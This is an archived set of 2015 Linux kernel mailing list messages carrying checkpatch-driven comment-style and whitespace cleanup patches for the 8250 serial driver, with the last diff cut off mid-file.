-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
@@ -2253,9 +2253,9 @@ serial8250_get_baud_rate(struct uart_port *port, =
struct ktermios *termios,
 				  (port->uartclk + tolerance) / 16);
 }
=20
-void
-serial8250_do_set_termios(struct uart_port *port, struct ktermios *ter=
mios,
-		          struct ktermios *old)
+void serial8250_do_set_termios(struct uart_port *port,
+			       struct ktermios *termios,
+			       struct ktermios *old)
 {
 	struct uart_8250_port *up =3D up_to_u8250p(port);
 	unsigned char cval;
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 04/11] tty: serial: 8250: Fix multiline comment style
Date: Wed, 16 Dec 2015 16:36:10 +0100
Lines: 253
Approved: news@gmane.org
Message-ID: <1450280177-4460-5-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280789 25962 80.91.229.3 (16 Dec 2015 15:46:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:46:29 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:46:17 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EHQ-0004qM-Cw
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:46:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966011AbbLPPqE convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:46:04 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45454 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965885AbbLPPoI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id AF52F58C4D0;
	Wed, 16 Dec 2015 16:36:40 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:40 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109885 gmane.linux.serial:21104 gmane.linux.ports.parisc:26192
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109885>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c |  6 ++-
 drivers/tty/serial/8250/8250_pnp.c     |  6 ++-
 drivers/tty/serial/8250/8250_port.c    | 29 ++++++-----
 drivers/tty/serial/8250/serial_cs.c    | 92 +++++++++++++++++++-------=
--------
 4 files changed, 75 insertions(+), 58 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..c53d2501 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -153,13 +153,15 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
=20
 	case UART_IER:
 		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		 * receive line status interrupt
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
 		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		 * mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 1f18065..2731031 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[] =
=3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track
+	 * of it to prevent the legacy serial driver from probing it
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
 	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 57ad0f2..0ec823e 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should b=
e
+	 * configured less than Maximum supported fifo bytes
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1970,16 +1972,17 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a
+	 * 16550 emulation, to be used for Serial Over Lan.
+	 * Those chips take a longer time than a normal
+	 * serial device to signalize that a transmission
+	 * data was queued. Due to that, the above test generally
+	 * fails. One solution would be to delay the reading of
+	 * iir. However, this is not reliable, since the timeout
+	 * is variable. So, let's just don't test if we receive
+	 * TX irq. This way, we'll never enable UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index f5270ba..a4bdcf6 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -1,35 +1,37 @@
-/*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
-
-    A driver for PCMCIA serial devices
-
-    serial_cs.c 1.134 2002/05/04 05:48:53
-
-    The contents of this file are subject to the Mozilla Public
-    License Version 1.1 (the "License"); you may not use this file
-    except in compliance with the License. You may obtain a copy of
-    the License at http://www.mozilla.org/MPL/
-
-    Software distributed under the License is distributed on an "AS
-    IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
-    implied. See the License for the specific language governing
-    rights and limitations under the License.
-
-    The initial developer of the original code is David A. Hinds
-    <dahinds@users.sourceforge.net>.  Portions created by David A. Hin=
ds
-    are Copyright (C) 1999 David A. Hinds.  All Rights Reserved.
-
-    Alternatively, the contents of this file may be used under the
-    terms of the GNU General Public License version 2 (the "GPL"), in =
which
-    case the provisions of the GPL are applicable instead of the
-    above.  If you wish to allow the use of your version of this file
-    only under the terms of the GPL and not to allow others to use
-    your version of this file under the MPL, indicate your decision
-    by deleting the provisions above and replace them with the notice
-    and other provisions required by the GPL.  If you do not delete
-    the provisions above, a recipient may use your version of this
-    file under either the MPL or the GPL.
-   =20
-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
+/*
+ * =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
+ *
+ * A driver for PCMCIA serial devices
+ *
+ * serial_cs.c 1.134 2002/05/04 05:48:53
+ *
+ * The contents of this file are subject to the Mozilla Public
+ * License Version 1.1 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of
+ * the License at http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS
+ * IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
+ * implied. See the License for the specific language governing
+ * rights and limitations under the License.
+ *
+ * The initial developer of the original code is David A. Hinds
+ * <dahinds@users.sourceforge.net>.  Portions created by David A. Hind=
s
+ * are Copyright (C) 1999 David A. Hinds.  All Rights Reserved.
+ *
+ * Alternatively, the contents of this file may be used under the
+ * terms of the GNU General Public License version 2 (the "GPL"), in w=
hich
+ * case the provisions of the GPL are applicable instead of the
+ * above.  If you wish to allow the use of your version of this file
+ * only under the terms of the GPL and not to allow others to use
+ * your version of this file under the MPL, indicate your decision
+ * by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL.  If you do not delete
+ * the provisions above, a recipient may use your version of this
+ * file under either the MPL or the GPL.
+ *
+ * =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
+ */
=20
 #include <linux/module.h>
 #include <linux/moduleparam.h>
@@ -441,16 +443,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +486,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +631,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 01/11] tty: serial: 8250: Fix whitespace errors
Date: Wed, 16 Dec 2015 16:36:07 +0100
Lines: 428
Approved: news@gmane.org
Message-ID: <1450280177-4460-2-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280807 26162 80.91.229.3 (16 Dec 2015 15:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:46:47 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:46:36 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EHi-0005UN-2r
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:46:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965998AbbLPPqB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:46:01 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45450 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965874AbbLPPoI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 3FD0A58C4CA;
	Wed, 16 Dec 2015 16:36:37 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:37 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109886 gmane.linux.serial:21105 gmane.linux.ports.parisc:26193
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109886>

This patch fixes whitespace errors reported by checkpatch to increase
readability. Main focus is on missing spaces after commas in
function headers and macros (like foo,bar edited to foo, bar).

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_accent.c        |  2 +-
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          |  2 +-
 drivers/tty/serial/8250/8250_core.c          |  1 +
 drivers/tty/serial/8250/8250_dw.c            |  6 +++
 drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
 drivers/tty/serial/8250/8250_fourport.c      |  2 +-
 drivers/tty/serial/8250/8250_hp300.c         |  1 +
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_pci.c           |  7 +++-
 drivers/tty/serial/8250/8250_port.c          |  3 ++
 drivers/tty/serial/8250/serial_cs.c          | 58 ++++++++++++++------=
--------
 12 files changed, 52 insertions(+), 36 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..c480729 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/serial/=
8250/8250_acorn.c
index 549aa07..402dfdd 100644
--- a/drivers/tty/serial/8250/8250_acorn.c
+++ b/drivers/tty/serial/8250/8250_acorn.c
@@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const st=
ruct ecard_id *id)
 	uart.port.regshift	=3D 2;
 	uart.port.dev	=3D &ec->dev;
=20
-	for (i =3D 0; i < info->num_ports; i ++) {
+	for (i =3D 0; i < info->num_ports; i++) {
 		uart.port.membase =3D info->vaddr + type->offset[i];
 		uart.port.mapbase =3D bus_addr + type->offset[i];
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..e42a5b5 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..89a20c9 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -756,6 +756,7 @@ void serial8250_suspend_port(int line)
 	if (!console_suspend_enabled && uart_console(port) &&
 	    port->type !=3D PORT_8250) {
 		unsigned char canary =3D 0xa5;
+
 		serial_out(up, UART_SCR, canary);
 		if (serial_in(up, UART_SCR) =3D=3D canary)
 			up->canary =3D canary;
diff --git a/drivers/tty/serial/8250/8250_dw.c b/drivers/tty/serial/825=
0/8250_dw.c
index a5d319e..0f67355 100644
--- a/drivers/tty/serial/8250/8250_dw.c
+++ b/drivers/tty/serial/8250/8250_dw.c
@@ -102,8 +102,10 @@ static void dw8250_serial_out(struct uart_port *p,=
 int offset, int value)
 	/* Make sure LCR write wasn't ignored */
 	if (offset =3D=3D UART_LCR) {
 		int tries =3D 1000;
+
 		while (tries--) {
 			unsigned int lcr =3D p->serial_in(p, UART_LCR);
+
 			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
 				return;
 			dw8250_force_idle(p);
@@ -143,8 +145,10 @@ static void dw8250_serial_outq(struct uart_port *p=
, int offset, int value)
 	/* Make sure LCR write wasn't ignored */
 	if (offset =3D=3D UART_LCR) {
 		int tries =3D 1000;
+
 		while (tries--) {
 			unsigned int lcr =3D p->serial_in(p, UART_LCR);
+
 			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
 				return;
 			dw8250_force_idle(p);
@@ -166,8 +170,10 @@ static void dw8250_serial_out32(struct uart_port *=
p, int offset, int value)
 	/* Make sure LCR write wasn't ignored */
 	if (offset =3D=3D UART_LCR) {
 		int tries =3D 1000;
+
 		while (tries--) {
 			unsigned int lcr =3D p->serial_in(p, UART_LCR);
+
 			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
 				return;
 			dw8250_force_idle(p);
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..999f2d3 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,7 +13,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
+#define PORT(_base, _irq)				\
 	{						\
 		.iobase		=3D _base,		\
 		.irq		=3D _irq,			\
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..9a04a8a 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
+#define PORT(_base, _irq)						\
 	{								\
 		.iobase		=3D _base,				\
 		.irq		=3D _irq,					\
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 2891958..38d8cb2 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -125,6 +125,7 @@ int __init hp300_setup_serial_console(void)
 	} else {
 #ifdef CONFIG_HPDCA
 		unsigned long pa =3D dio_scodetophysaddr(scode);
+
 		if (!pa)
 			return 0;
=20
diff --git a/drivers/tty/serial/8250/8250_hub6.c b/drivers/tty/serial/8=
250/8250_hub6.c
index a5c778e..27124e2 100644
--- a/drivers/tty/serial/8250/8250_hub6.c
+++ b/drivers/tty/serial/8250/8250_hub6.c
@@ -10,7 +10,7 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define HUB6(card,port)							\
+#define HUB6(card, port)						\
 	{								\
 		.iobase		=3D 0x302,				\
 		.irq		=3D 3,					\
diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 4097f3f..ed99fdf 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -113,6 +113,7 @@ static int addidata_apci7800_setup(struct serial_pr=
ivate *priv,
 				struct uart_8250_port *port, int idx)
 {
 	unsigned int bar =3D 0, offset =3D board->first_offset;
+
 	bar =3D FL_GET_BASE(board->flags);
=20
 	if (idx < 2) {
@@ -1115,6 +1116,7 @@ static struct quatech_feature quatech_cards[] =3D=
 {
 static int pci_quatech_amcc(u16 devid)
 {
 	struct quatech_feature *qf =3D &quatech_cards[0];
+
 	while (qf->devid) {
 		if (qf->devid =3D=3D devid)
 			return qf->amcc;
@@ -1200,6 +1202,7 @@ static int pci_quatech_test(struct uart_8250_port=
 *port)
 {
 	u8 reg;
 	u8 qopr =3D pci_quatech_rqopr(port);
+
 	pci_quatech_wqopr(port, qopr & QPCR_TEST_FOR1);
 	reg =3D pci_quatech_rqopr(port) & 0xC0;
 	if (reg !=3D QPCR_TEST_GET1)
@@ -1284,8 +1287,10 @@ static int pci_quatech_init(struct pci_dev *dev)
 {
 	if (pci_quatech_amcc(dev->device)) {
 		unsigned long base =3D pci_resource_start(dev, 0);
+
 		if (base) {
 			u32 tmp;
+
 			outl(inl(base + 0x38) | 0x00002000, base + 0x38);
 			tmp =3D inl(base + 0x3c);
 			outl(tmp | 0x01000000, base + 0x3c);
@@ -4502,7 +4507,7 @@ static struct pci_device_id serial_pci_tbl[] =3D =
{
 		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b0_bt_2_921600 },
 	{	PCI_VENDOR_ID_OXSEMI, PCI_DEVICE_ID_OXSEMI_16PCI958,
-		PCI_ANY_ID , PCI_ANY_ID, 0, 0,
+		PCI_ANY_ID, PCI_ANY_ID, 0, 0,
 		pbn_b2_8_1152000 },
=20
 	/*
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 52d82d2..ae8f993 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1327,6 +1327,7 @@ static void serial8250_start_tx(struct uart_port =
*port)
=20
 		if (up->bugs & UART_BUG_TXEN) {
 			unsigned char lsr;
+
 			lsr =3D serial_in(up, UART_LSR);
 			up->lsr_saved_flags |=3D lsr & LSR_SAVE_FLAGS;
 			if (lsr & UART_LSR_THRE)
@@ -1734,8 +1735,10 @@ static void wait_for_xmitr(struct uart_8250_port=
 *up, int bits)
 	/* Wait up to 1s for flow control if necessary */
 	if (up->port.flags & UPF_CONS_FLOW) {
 		unsigned int tmout;
+
 		for (tmout =3D 1000000; tmout; tmout--) {
 			unsigned int msr =3D serial_in(up, UART_MSR);
+
 			up->msr_saved_flags |=3D msr & MSR_SAVE_FLAGS;
 			if (msr & UART_MSR_CTS)
 				break;
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 4d180c9..f5270ba 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -257,7 +257,7 @@ static const struct serial_quirk quirks[] =3D {
 };
=20
=20
-static int serial_config(struct pcmcia_device * link);
+static int serial_config(struct pcmcia_device *link);
=20
=20
 static void serial_remove(struct pcmcia_device *link)
@@ -309,7 +309,7 @@ static int serial_probe(struct pcmcia_device *link)
 	dev_dbg(&link->dev, "serial_attach()\n");
=20
 	/* Create new serial device */
-	info =3D kzalloc(sizeof (*info), GFP_KERNEL);
+	info =3D kzalloc(sizeof(*info), GFP_KERNEL);
 	if (!info)
 		return -ENOMEM;
 	info->p_dev =3D link;
@@ -339,7 +339,7 @@ static void serial_detach(struct pcmcia_device *lin=
k)
=20
 /*=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
